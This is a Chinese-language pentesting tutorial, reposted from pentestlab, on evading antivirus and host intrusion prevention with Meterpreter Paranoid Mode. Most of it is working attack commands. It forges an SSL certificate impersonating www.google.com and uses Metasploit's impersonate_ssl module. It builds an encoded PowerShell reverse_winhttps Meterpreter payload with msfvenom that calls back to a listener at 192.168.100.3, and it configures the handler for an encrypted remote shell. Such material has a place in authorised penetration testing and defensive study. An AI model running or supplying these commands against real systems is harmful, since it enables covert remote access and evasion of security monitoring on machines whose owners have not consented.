绕过杀毒软件与主机入侵防御系统对流量的检测

华盟原创文章投稿奖励计划

为了防止主机被入侵,现如今大部分的环境都装有各种安全防护软件,比如我们经常会遇到的终端解决方案以及主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。

尽管这些安全产品为我们提供了一个额外的安全保护,但这还远远不够。系统管理员经常依赖这些控件以及允许用户执行的脚本,可能会导致代码任意执行,最终致使系统妥协。
对于一个渗透测试人员来说,创建一个包含经过编码的payload的脚本绕过这些控件,并对连接进行加密以避开HIPS检测。HD Moore在2015年就曾介绍过如何使用Meterpreter Paranoid Mode作为一种安全连接的方法

生成证书

OpenSSL可以用来生成一个自定义证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

生成证书

此外Metasploit框架还有一个模块可以用来自动从信任源创建一个虚假证书

auxiliary/gather/impersonate_ssl

生成证书

生成payload

Metasploit MsfVenom可用来生成一个经过编码的payload(PowerShell Base64),这一步会使用到之前生成的证书

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

生成payload

配置监听器

当监听器配置完成之后还需要使用到额外的2个选项,其一是为了向处理程序通知所使用的证书(同payload),其二是当收到一个连接时执行SSL证书验证

HandlerSSLCert

StagerVerifySSLCert

set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.100.3
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true

配置监听器

自payload在目标主机执行那一刻,会打开一个加密的Meterprete会话,其将会阻止HIPS对数据包的检测以及断开连接

配置监听器

Meterpreter Paranoid Mode

使用Meterpreter Paranoid Mode工具可以对上述过程实现完全自动化,该工具的完全使用说明可以查看Github

image

总结

上述过程经常被用于交互式渗透测试中,且能够绕过经常更新的杀毒软件以及HIPS对流量的检测。
特别感谢James Hemmings以及Gabriel对本技术的贡献。

引用

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL

https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation

*参考来源:pentestlab,freebuf小编鸢尾编译,转载请注明来自FreeBuf.com

本文原创,作者:小龙,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/166987.html

发表评论